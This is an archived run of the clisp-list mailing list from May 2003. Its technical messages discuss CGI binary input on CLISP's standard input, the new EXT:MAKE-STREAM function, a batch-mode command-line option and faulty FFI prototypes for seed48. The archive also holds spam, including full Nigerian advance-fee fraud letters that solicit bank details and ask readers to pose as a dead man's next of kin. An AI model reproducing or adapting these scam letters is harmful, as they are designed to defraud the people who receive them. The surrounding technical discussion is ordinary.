To: "Hoehle, Joerg-Cyril" Cc: clisp-list@lists.sourceforge.net, Moi Moi In-Reply-To: <9F8582E37B2EE5498E76392AEDDCD3FE04448AEF@G8PQD.blf01.telekom.de> References: <9F8582E37B2EE5498E76392AEDDCD3FE04448AEF@G8PQD.blf01.telekom.de> Content-Type: text/plain Organization: FCUL / DI Message-Id: <1052997092.29631.10.camel@wok> Mime-Version: 1.0 X-Mailer: Ximian Evolution 1.2.2 (1.2.2-4) Content-Transfer-Encoding: 7bit Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu May 15 04:12:13 2003 X-Original-Date: 15 May 2003 12:11:34 +0100 On Thu, 2003-05-15 at 08:30, Hoehle, Joerg-Cyril wrote: > Thibault Langlois wrote: > >There is still something I do not understand: > > >exotica$ test.cgi < /tmp/data.bz2 > >(66 90 104 57 49 65 89 38 83 89) > > >But when the script is run by httpd it give the same error > >again (from /var/log/httpd/error_log): > >*** - (SETF STREAM-ELEMENT-TYPE) on # is illegal > >[Wed May 14 17:51:21 2003] [error] [client 194.117.35.226] > >Premature end > >of script headers: /home/tl/www_public/test.cgi > > > >What is wrong ? > > I'm sorry that you spent more time on this. What you miss is that current CLISP will only produce a setf-able *standard-input* if it is connected to a regular file. This is the case in your > You need either > o my hack (or a later change of that into a regular command line option) so that CLISP will produce this kind of file/pipe/handle *standard-input/output* streams even when connected to pipes. > That is what I did yesterday at night. I was desperate to solve this problem and I recompiled clisp with your patch. It works fine now ! I think this is a valuable feature. I wonder why this issue has not arise sooner, clisp is the cl implementation that is the most suitable to do cgi programming. I have ~100 students that, with your help, will be able to send their homework through a form. At the beginning of the semestrer I asked them to send ascii files but now, they have several files to send and it is more convenient to use one zip archive. Thanks again. Thibault > o or a wrapper around your script that will write all stdinput from the web-server to a file, and feed that file to CLISP. This will only work for one-invocation-per-access cgi however, CLISP cannot handle multiple requests with such a setting. > I'm not sure this works at all because httpd may not flush the input side of the pipe so that the wrapper sees an EOF and knows that it got all input. > You cannot write such a wrapper in CLISP itself, since you need faithful input. > Please try investigating around > #! /bin/sh > # My CGI wrapper > cat >/tmp/foo$$ > #syslog "got all input" > clisp < /tmp/foo$$ > > Regards, > Jorg Hohle. -- Thibault Langlois FCUL / DI From lisp-clisp-list@m.gmane.org Thu May 15 11:14:06 2003 Received: from main.gmane.org ([80.91.224.249]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19GNEz-0007Tb-00 for ; Thu, 15 May 2003 11:14:05 -0700 Received: from root by main.gmane.org with local (Exim 3.35 #1 (Debian)) id 19GNCG-0005NO-00 for ; Thu, 15 May 2003 20:11:16 +0200 X-Injected-Via-Gmane: http://gmane.org/ To: clisp-list@lists.sourceforge.net Received: from news by main.gmane.org with local (Exim 3.35 #1 (Debian)) id 19GN6E-0004mf-00 for ; Thu, 15 May 2003 20:05:02 +0200 From: Sam Steingold Organization: disorganization Lines: 19 Message-ID: References: <9F8582E37B2EE5498E76392AEDDCD3FE04448AEF@G8PQD.blf01.telekom.de> <1052997092.29631.10.camel@wok> Reply-To: sds@gnu.org Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Complaints-To: usenet@main.gmane.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 Subject: [clisp-list] Re: read-byte and *standard-input* Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu May 15 11:15:02 2003 X-Original-Date: 15 May 2003 14:07:03 -0400 > * In message <1052997092.29631.10.camel@wok> > * On the subject of "Re: read-byte and *standard-input*" > * Sent on 15 May 2003 12:11:34 +0100 > * Honorable Thibault Langlois writes: > > That is what I did yesterday at night. I was desperate to solve this > problem and I recompiled clisp with your patch. It works fine now ! I just added a new function EXT:MAKE-STREAM which should simplify your life a bit. Please try CVS head and read the doc -- Sam Steingold (http://www.podval.org/~sds) running RedHat9 GNU/Linux A poet who reads his verse in public may have other nasty habits. From lisp-clisp-list@m.gmane.org Thu May 15 11:26:38 2003 Received: from main.gmane.org ([80.91.224.249]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19GNR7-0006ZG-00 for ; Thu, 15 May 2003 11:26:37 -0700 Received: from root by main.gmane.org with local (Exim 3.35 #1 (Debian)) id 19GNLX-0006CC-00 for ; Thu, 15 May 2003 20:20:51 +0200 X-Injected-Via-Gmane: http://gmane.org/ To: clisp-list@lists.sourceforge.net Received: from news by main.gmane.org with local (Exim 3.35 #1 (Debian)) id 19GN9b-00058M-00 for ; Thu, 15 May 2003 20:08:31 +0200 From: Sam Steingold Organization: disorganization Lines: 31 Message-ID: References: <9F8582E37B2EE5498E76392AEDDCD3FE044489A1@G8PQD.blf01.telekom.de> Reply-To: sds@gnu.org Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Complaints-To: usenet@main.gmane.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 Subject: [clisp-list] Re: CGI & binary i/o with stdio: solution proposal Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu May 15 11:27:14 2003 X-Original-Date: 15 May 2003 14:10:31 -0400 > * In message <9F8582E37B2EE5498E76392AEDDCD3FE044489A1@G8PQD.blf01.telekom.de> > * On the subject of "CGI & binary i/o with stdio: solution proposal" > * Sent on Wed, 14 May 2003 16:54:13 +0200 > * Honorable "Hoehle, Joerg-Cyril" writes: > > 2. What should the command-line option be called? > -noI comes to mind (readline would have to be disabled as well). we already have -repl, so maybe -norepl? > BTW, do we really need -repl? I thought, like -i for sh/csh, something > to force interactive mode might be enough, together with -noi? that's what -repl does - forces interaction after -c/-x/script > And yes, I feel like CLISP misses an option to indicate (force) batch > mode. Currently, it guesses: > if ((argv_compile || argv_expr_count || argv_execute_file != NULL) > && !argv_interactive_debug && !argv_repl) { > # '-c' or '-x' or file specified -> LISP runs in batch-mode: argv_norepl should do the job. (check out the new EXT:MAKE-STREAM, it should Thibault Langlois with his problem) -- Sam Steingold (http://www.podval.org/~sds) running RedHat9 GNU/Linux There's always free cheese in a mouse trap. From quiana_y2qhnp@sprint.ca Thu May 15 16:27:44 2003 Received: from [218.55.112.1] (helo=gamma.delta.co.kr) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19GS8W-0005RY-00 for ; Thu, 15 May 2003 16:27:44 -0700 Received: from smtp0422.mail.yahoo.com (218.16.42.94 [218.16.42.94]) by gamma.delta.co.kr with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2653.13) id K9G17JSR; Fri, 16 May 2003 08:16:09 +0900 From: "Qirallan" X-Priority: 3 To: clisp-list@lists.sourceforge.net Mime-Version: 1.0 Content-Type: text/html; charset=us-ascii Content-Transfer-Encoding: 7bit Message-Id: Subject: [clisp-list] clisp-list, Get a Mortgage Loan Approval Fast! Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu May 15 16:28:05 2003 X-Original-Date: Thu, 15 May 2003 23:13:38 GMT MORTGAGE RATES ARE STILL DOWN

MORTGAGE RATES ARE STILL DOWN!
Currently as low as
3.75% for 30 Year Fixed term

  Refinancing,
Debt Consolidation
New Purchases,
 Commercial Loans

Click Here to Apply Online

 

Now You're In Charge, Let Lenders Compete For Your Business,
Quickly and Easily Find many different Lenders' Offerings
at the ABSOLUTE LOWEST Rates and best Terms for ANY Situation!
 

3.75% For 30 Year Fixed Term Mortgage

Click Here to Apply Online

Home Improvement 
Refinancing
* Second Mortgage
 New Purchase * Special Loans

  Remove Me Please!

 

From tl@di.fc.ul.pt Thu May 15 16:33:20 2003 Received: from relay2.ptm.pt ([194.65.79.76] helo=sapo.pt) by sc8-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19GSDw-0007Dt-00 for ; Thu, 15 May 2003 16:33:20 -0700 Received: (qmail 1030 invoked from network); 15 May 2003 23:33:12 -0000 Received: from unknown (HELO sapo.pt) (194.65.79.72) by relay2.ptm.pt with SMTP; 15 May 2003 23:33:12 -0000 Received: (qmail 30695 invoked by uid 0); 15 May 2003 23:33:12 -0000 Received: from unknown (HELO [192.168.1.21]) (as1134686@sapo.pt@[213.13.255.159]) (envelope-sender ) by sapo.pt (qmail-ldap-1.03) with SMTP for ; 15 May 2003 23:33:12 -0000 Subject: Re: [clisp-list] Re: read-byte and *standard-input* From: Thibault Langlois Reply-To: tl@di.fc.ul.pt To: clisp-list@lists.sourceforge.net In-Reply-To: References: <9F8582E37B2EE5498E76392AEDDCD3FE04448AEF@G8PQD.blf01.telekom.de> <1052997092.29631.10.camel@wok> Content-Type: text/plain Organization: FCUL / DI Message-Id: <1053041584.1940.18.camel@wok> Mime-Version: 1.0 X-Mailer: Ximian Evolution 1.2.2 (1.2.2-4) Content-Transfer-Encoding: 7bit Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu May 15 16:34:04 2003 X-Original-Date: 16 May 2003 00:33:09 +0100 On Thu, 2003-05-15 at 19:07, Sam Steingold wrote: > > * In message <1052997092.29631.10.camel@wok> > > * On the subject of "Re: read-byte and *standard-input*" > > * Sent on 15 May 2003 12:11:34 +0100 > > * Honorable Thibault Langlois writes: > > > > That is what I did yesterday at night. I was desperate to solve this > > problem and I recompiled clisp with your patch. It works fine now ! > > I just added a new function EXT:MAKE-STREAM which should simplify your > life a bit. > Please try CVS head and read the doc > > I have not tried yet but from the documentation it looks fine. CLISP has a new useful feature ! -- Thibault Langlois FCUL / DI From clisp-list@lists.sourceforge.net Fri May 16 05:15:17 2003 Received: from panoramix.vasoftware.com ([198.186.202.147]) by sc8-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 19Ge7J-0003xO-00 for ; Fri, 16 May 2003 05:15:17 -0700 Received: from pcp519297pcs.nash01.tn.comcast.net ([68.53.130.109]:2918) by panoramix.vasoftware.com with smtp (Exim 4.05-VA-mm1 #1 (Debian)) id 19Ge7D-0001Ej-00 for ; Fri, 16 May 2003 05:15:12 -0700 Received: from ntws.net ([198.241.216.40]) by edu.esh.dk (8.8.3/8.8.3) with SMTP id 10288 for ; Fri, 16 May 2003 05:11:58 -0700 Received: from [38.178.110.106] by wishing.com via HTTP; Fri, 16 May 2003 05:11:56 -0700 From: "" To: "" X-Mailer: The Bat! (v1.61) MIME-Version: 1.0 Message-Id: Content-Type: text/plain X-Spam-Status: Yes, hits=9.0 required=7.0 tests=NO_REAL_NAME,FROM_NAME_NO_SPACES,DEAR_SOMEBODY,DEAR_FRIEND, CLICK_BELOW,FREE_MONEY,MIME_MISSING_BOUNDARY, BASE64_ENC_TEXT,FROM_AND_TO_SAME version=2.21 X-Spam-Flag: YES X-Spam-Level: ********* X-Spam-Checker-Version: SpamAssassin 2.21 (devel $Id: SpamAssassin.pm,v 1.92 2002/06/11 03:50:03 hughescr Exp $) X-Spam-Prev-Content-Type: multipart/related; boundary="----=_NextPart_000_000C_1760520D.317F3898" X-Spam-Report: 9 hits, 7 required; * 0.6 -- From: does not include a real name * 0.5 -- From: no spaces in name * -0.5 -- BODY: Contains 'Dear Somebody' * 2.1 -- BODY: How dear can you be if you don't know my name? * 1.5 -- BODY: Asks you to click below * 1.0 -- BODY: Free money! * 1.5 -- RAW: MIME section missing boundary * 1.4 -- Message text disguised using base-64 encoding * 0.9 -- From and To the same address Subject: [clisp-list] Free Government Grants - Opportunity Of the Week For clisp-list@lists.sourceforge.net Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri May 16 05:16:04 2003 X-Original-Date: Fri, 16 May 2003 05:11:51 -0700 ------=_NextPart_000_000C_1760520D.317F3898 Content-Type: text/plain; Content-Transfer-Encoding: base64 RGVhciBGcmllbmQsIAoKV2UgYXJlIGV4Y2l0ZWQgdG8gcHJlc2VudCB0byB5b3UgdGhlIEhv dCBPcHBvcnR1bml0eSBvZiBUaGUgV2Vlay4gVGhlCmluZm9ybWF0aW9uIGNvdWxkIGNoYW5n ZSB5b3VyIGxpZmUuLi5wbGVhc2UgY2hlY2sgaXQgb3V0Li4uIFlvdSB3aWxsCm5vdCBiZSBk aXNhcHBvaW50ZWQhCgpUaG91c2FuZHMgb2YgcGVvcGxlIHJlY2VpdmUgRnJlZSBHb3Zlcm5t ZW50IEdyYW50cyBhbmQgTW9uZXkgZXZlcnkKZGF5LiBTbyBjYW4geW91IQoKRGlzY292ZXIg aG93IHRvIGdldCB5b3VyIEZyZWUgR292ZXJubWVudCBHcmFudHMgYW5kIE1vbmV5LCBjbGlj ayBvbgp0aGUgbGluayBiZWxvdzogCgpodHRwOi8vd3d3LmZyZWVtb25leWRlcG90LmNvbQoK VGhlIEZyZWUgTW9uZXkgTmV3cyBOZXR3b3JrIFRlYW0= From Joerg-Cyril.Hoehle@t-systems.com Fri May 16 05:47:01 2003 Received: from mail1.telekom.de ([62.225.183.235]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19Gebu-0004DR-00 for ; Fri, 16 May 2003 05:46:55 -0700 Received: from g8pbr.blf01.telekom.de by G8SBV.dmz.telekom.de with ESMTP for clisp-list@lists.sourceforge.net; Fri, 16 May 2003 14:43:32 +0200 Received: by G8PBR.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id ; Fri, 16 May 2003 14:43:32 +0200 Message-Id: <9F8582E37B2EE5498E76392AEDDCD3FE04448F1A@G8PQD.blf01.telekom.de> From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain Subject: [clisp-list] linux:seed48 & C declaration questions (was: linux FFI: What/wher e is _IO_stdin/out/err_?) Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri May 16 05:47:25 2003 X-Original-Date: Fri, 16 May 2003 14:43:30 +0200 Hi, Who is firm in C prototypes and declarations? Sam Steingold wrote: >[2]> (linux:getpwent) >#S(LINUX:passwd :|pw_name| "root" :|pw_passwd| "x" :|pw_uid| 0 >:|pw_gid| 0 > :|pw_gecos| "root" :|pw_dir| "/root" :|pw_shell| "/bin/bash") >[3]> (linux::putpwent (linux:getpwent) linux:stdout) > >*** - handle_fault error2 ! address = 0x0 not in >[0x20228000,0x203673ac) ! >SIGSEGV cannot be cured. Fault address = 0x0. >Segmentation fault This was a bug in putpwent that's just been fixed. There's also one in seed48. I have a question about the correct prototype for seed48(). According to the Linux manpage, it should be: (def-call-out seed48 (:arguments (seed16v (c-ptr (c-array ushort 3)))) (:return-type (c-ptr (c-array ushort 3)) :none)) Because it returns a pointer to an array of three unsigned shorts. However, this definition causes trouble to gcc: linux.c:67: `seed48' declared as function returning an array linux.c:67: conflicting types for `seed48' /usr/include/stdlib.h:473: previous declaration of `seed48' Here is what linux.c contains: extern uint16 (* (seed48)()[3]); And here is stdlib.h: extern unsigned short int *seed48 (unsigned short int __seed16v[3]) __THROW; What can be done to improve this situation? [The current definition in linux.lisp is broken, meant to be (def-call-out seed48 (:arguments (seed16v (c-ptr (c-array ushort 3)))) (:return-type (c-ptr ushort) :none)) which wrongly returns a single short.] Maybe this should be generated instead?? extern uint16 (* (seed48)())[3]; But that looks like one too many indirection. This could be a bug in foreign1.lisp: TO-C-TYPEDECL works, FFI[31]> (ffi::to-c-typedecl (parse-c-type '(c-function (:return-type (c-ptr (c-array uint16 3))))) "seed48") "uint16 (* (seed48) ())[3]" but ffi::finalize-coutput-file bypasses to-c-typedecl and generates a different extern declaration uint16 (* (seed48)()[3]); Note the trailing ')'. The prototype from finalize-coutput-file is even completely incorrect when I specify :built-in: extern uint16 (* (seed48b)()[3]uint16 (* )[3]); which is generated from: (def-call-out seed48b (:arguments (seed16v (c-ptr (c-array ushort 3)))) (:return-type (c-ptr (c-array ushort 3)) :none) (:built-in t)) However, it seems like FFI::to-c-typedecl is also subtly broken w.r.t. arrays: (ffi::to-c-typedecl (parse-c-type '(c-function (:arguments (p (c-array uint16 3))) (:return-type (c-ptr (c-array uint16 3))))) "seed48") "uint16 (* (seed48) (uint16 (arg692)[3]))[3]" But (c-array #) is not the correct definition in FFI, (c-ptr (c-array #)) is. FFI[28]> (ffi::to-c-typedecl (parse-c-type '(c-function (:arguments (p (c-ptr (c-array uint16 3)))) (:return-type (c-ptr (c-array uint16 3))))) "seed48") "uint16 (* (seed48) (uint16 (* arg673)[3]))[3]" That looks like too many indirections in the parameter list... It looks like (c-ptr (c-array ...)) or c-array-max must internally be handled as (c-array[-max] #) for C declaration purposes. And it looks like the return type must be treated specially w.r.t. (c-ptr (c-array X)) and handle that like (c-ptr X). ; Fri, 16 May 2003 16:42:11 -0700 Received: from 80.179.103.25.forward.012.net.il ([80.179.103.25]:1026 helo=ok61022.com) by panoramix.vasoftware.com with smtp (Exim 4.05-VA-mm1 #1 (Debian)) id 19Gopl-0001ZB-00 for ; Fri, 16 May 2003 16:41:59 -0700 From: "CHIEF(DR.)BODE GEORGE" Reply-To: BODE_GEORGE@coolltd.no-ip.com To: clisp-list@lists.sourceforge.net X-Mailer: Microsoft Outlook Express 5.00.2919.6900 DM MIME-Version: 1.0 Message-Id: Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable X-Spam-Status: No, hits=6.3 required=7.0 tests=OPPORTUNITY,DEAR_SOMEBODY,NIGERIAN_SCAM_2,ONCE_IN_LIFETIME, RISK_FREE,LINES_OF_YELLING_2,LINES_OF_YELLING, SUPERLONG_LINE version=2.21 X-Spam-Level: ****** Subject: [clisp-list] BUSINESS OPPORTUNITY Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri May 16 16:43:03 2003 X-Original-Date: Sat, 17 May 2003 12:48:30 -0700 FROM=3ACHIEF=2E=28DR=2E=29BODE GEORGE ADEMOLA ADETOKUNBO STREET VICTORIA ISLAND LAGOS-NIGERIA Dear Sir=2C RE=3A BUSINESS PROPOSAL - STRICTLY CONFIDENTIAL=2E I am CHIEF=28DR=2E=29BODE GEORGE=2E=2C Chairman to the Contract Review Panel that was recently inaugurated by the President of the Federal Republic of Nigeria to review the activities of past military government with particular reference to contracts awarded by all ministries between 1990 to 1999=2E In the course of carrying out our assigned duties=2C we discovered the sum of USD40=2E5 =28forty million=2C five hundred thousand dollars=29 only lying idle in a suspense account with our apex bank=2E This funds emanated from grossly over-invoiced contracts awarded to conglomerate of foreign firms by the Petroleum Ministry on behalf of the Nigerian National Petroleum Corporation=2E On completion of our assignment=2C this amount was deliberately not included in our report because we want to capitalize on this once in a lifetime opportunity to benefit and make a fortune out of it=2E The only option we have to achieve our aims and objective is to have this fund transferred to a country of our choice where it can be kept in trust and safe custody for us=2E We are however handicapped at the moment by our status as civil servants=2C which barred us from operating foreign accounts while still in government service=2E Thus=2C through some discreet inquiries from our Chambers of Commerce=2C you and your organization were revealed as being quite astute in private entrepreneurship=2E On this premise=2C we have no doubt in your ability to handle a business of this nature=2C which informed our desire and wish to enter into a partnership with you=2E This business involves the remittance of this amount into your bank account with the hope of travelling down to meet you physically in order to receive our share=2E We hope to invest some in profitable ventures in your country based on your advise while the balance will be repatriated home as foreign earnings=2E We have mapped out strategies and all paperwork is in place to ensure a 100% success=2E The nature of your business at present does not really matter because in the world over=2C bigger firms do bid for big contracts especially in third world countries like ours and can subcontract part of it to other firms for execution=2E That is you or your firm will be regarded as one of those that executed one of such projects and therefore entitled to receive the over-invoiced amount of the contract value since the original contractor has been paid=2E Be rest assured that this transaction is 100% risk free as there is actually no risk is involved either now or in the future for we are well connected in official circle=2E Given our level of commitment at the moment=2C we want to assure you that with full dedication on your part=2C the objective of having this fund remitted would have been realized within a period of two weeks=2E It is hereby expressly agreed in principle that at the end of the transaction=2C you will be entitled to 25% of the entire sum=2C 75% will be for my colleagues and I=2E If you are interested in this proposal=2C please call or send me an e-mail VIA=3Abode=5Fgeorge=40albawaba=2Ecom for more clarifications=2E If however you are not interested=2C still let me know to enable me search for someone else to carry out this business with=2E I anticpate a timely response from you=2E Thanks=2E Yours Sincerely=2C CHIEF=28DR=2E=29BODE GEORGE From ighokoro@juno.com Mon May 19 02:37:37 2003 Received: from [80.88.131.235] (helo=localhst103.com) by sc8-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19Hh5M-0003nL-00 for ; Mon, 19 May 2003 02:37:36 -0700 From: "Igho Nikoro" Reply-To: ighokoro@juno.com To: clisp-list@lists.sourceforge.net X-Mailer: Microsoft Outlook Express 5.00.2919.6900 DM MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable Message-Id: Subject: [clisp-list] In ref: Confidential Matters Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon May 19 02:38:08 2003 X-Original-Date: Sun, 18 May 2003 22:39:06 +0200 Dear Sir=2C I will like to solicit your help in a business proposition=2C which is by nature very confidential and a Top Secret=2E I know that a transaction of this magnitude will make any one worried and apprehensive but I am assuring you not to worry=2C as all will be well at the end of this endeavor=2E I am Mr=2E Igho Nikoro=2C General Manager of African Development Bank PLC=2E My partners and I have decided to seek your help in transfer of some amount of money requiring maximum confidence=2E THE PROPOSITION A foreigner=2C Late Engineer Mark Otagaki who was an oil merchant and contractor with the Federal Government of Nigeria until his death onboard the ill fated Kenyan Airways bus {A310300}was our customer at the AFRICAN DEVELOPMENT BANK and had a balance of US$32 million which the bank now expects his next of kin to claim as the beneficiary=2E We have made valuable efforts to get his people to no avail as he had no known relatives=2E Due to this development our management and the board of directors are making arrangements for the funds to be declared unclaimed and subsequently paid into the federal government purse=2E To avert this negative development my colleagues and I have decided to look for a reputable person to act as the next of kin to late Engr=2E Otagaki so that the funds will be released and paid into his account and this is where you come in=2E All documents to aid your claim will be provided by my colleagues and I=2E Your help will be appreciated with a % of the total sum=2E Please be assured that this transaction is safe and risk free=2E We will need your fax number and phone number for more communication=2E Please reply soon=2E Mr Igho Nikoro=2E From z93po9i9@yahoo.com Tue May 20 05:38:41 2003 Received: from 200-207-39-248.speedyterra.com.br ([200.207.39.248]) by sc8-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19I6Nw-0006Tu-00 for ; Tue, 20 May 2003 05:38:35 -0700 Received: from s8dy.blfmapb.com (HELO 3k25c) ([25.3.156.146]) by 200-207-39-248.speedyterra.com.br SMTP id DXP162h7VC810h; Tue, 20 May 2003 15:39:37 +0200 Message-ID: <2o099$233s$-e@73tgmv> From: "Bernadette Medeiros" To: clisp-list@lists.sourceforge.net X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0) MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="E9.0.49F.B" X-Priority: 3 X-MSMail-Priority: Normal Subject: [clisp-list] RE:Reduce Your Product Insurance Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue May 20 05:39:12 2003 X-Original-Date: Tue, 20 May 03 15:39:37 GMT This is a multi-part message in MIME format. --E9.0.49F.B Content-Type: text/html; Content-Transfer-Encoding: quoted-printable We have found that many companies have gaps in their insurance cove= rage

We have found that many companies have gaps in their insurance coverage. = The time to find this out is now, not when the uncovered loss occurs. 

We would like to offer you a complimentary risk analysis for your comp= any.

Our goal is make sure that you have adequate property and liability insuran= ce at the right cost.

 If your company's has:

  • Annual sales are four million

  • or more and you have more then 25 employees

  • and are in NJ, NY or CT

Email Us Now For Your Free Analysis

Thanks In= Advance, 

Ellen

 

 

 

We don't want anyone to receive our mailings that do not wish to receive them= This is a professional communication sent to the party intended. To be removed = from this mailing list, DO NOT REPLY to this message. Instead, Click Here - You must use this email and subject to be removed properly.

tn irbbpwyf xzu vk --E9.0.49F.B-- From 5o7gjl@excite.com Tue May 20 13:03:42 2003 Received: from [62.107.22.236] (helo=62.107.22.236) by sc8-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19IDKi-0008Ug-00 for ; Tue, 20 May 2003 13:03:38 -0700 From: 237049@bigfoot.com To: clisp-list@lists.sourceforge.net Mime-Version: 1.0 Content-Type: text/html; charset=koi8-r Content-Transfer-Encoding: 8bit X-Mailer: KMail [version 1.3.1] Message-ID: 280C008C-74EC9A58-5987CC28-35824553-366F5F48@delphi.com Subject: [clisp-list] òÅÍÏÎÔ, ÐÅÒÅÐÌÁÎÉÒÏ×ËÁ, ÄÉÚÁÊÎ Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue May 20 13:04:07 2003 X-Original-Date: Tue, 20 May 2003 12:02:17 -0400
óÔÒÏÉÔÅÌØÎÁÑ ÆÉÒÍÁ, ËÏÔÏÒÁÑ ÕÖÅ 10 ÌÅÔ ÎÁ ÒÙÎËÅ, ÐÒÅÄÌÁÇÁÅÔ ×ÙÓÏËÏËÁÞÅÓÔ×ÅÎÎÙÊ ÒÅÍÏÎÔ É ÏÔÄÅÌËÕ ÌÀÂÏÊ ÓÔÅÐÅÎÉ ÓÌÏÖÎÏÓÔÉ, ÓÔÒÏÉÔÅÌØÓÔ×Ï ËÏÔÔÅÄÖÅÊ, ÕÓÌÕÇÉ ÐÏ ÏÆÏÒÍÌÅÎÉÀ  ÐÅÒÅÐÌÁÎÉÒÏ×ËÉ × í÷ë, ÁÒÈÉÔÅËÔÕÒÎÏÍÕ ÄÉÚÁÊÎÕ.
çÁÒÁÎÔÉÑ ÎÁ ×ÓÅ ×ÉÄÙ ÒÁÂÏÔ 2 ÇÏÄÁ.
ôÅÌÅÆÏÎÙ: (095) 275-60-26, 275-30-33
______ 235369962 ***** From fromthehartgifts@hotpop.com Wed May 21 02:16:02 2003 Received: from [12.215.34.197] (helo=12.215.34.197) by sc8-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19IPRO-0001JD-00 for ; Wed, 21 May 2003 01:59:18 -0700 Message-ID: From: "fromthehartgifts@HotPOP.com" To: "clisp-list@lists.sourceforge.net" MIME-Version: 1.0 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Subject: [clisp-list] hello Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed May 21 02:17:01 2003 X-Original-Date: Wed, 21 May 2003 03:56:35 -0700


World Wide Gift Networking Inc.
           


We offer a large selection of unique gift idea's for all occasions and tastes.We have shopping cart technology.We accept all major credit cards or to order by mail simply go to contact on our web site for more information. just click here and go http://www.giftnetworking.com

If you wish to be taken off this mailing list please send request to: fromthehartgifts@HotPOP.com    please allow 24 hours! thank you

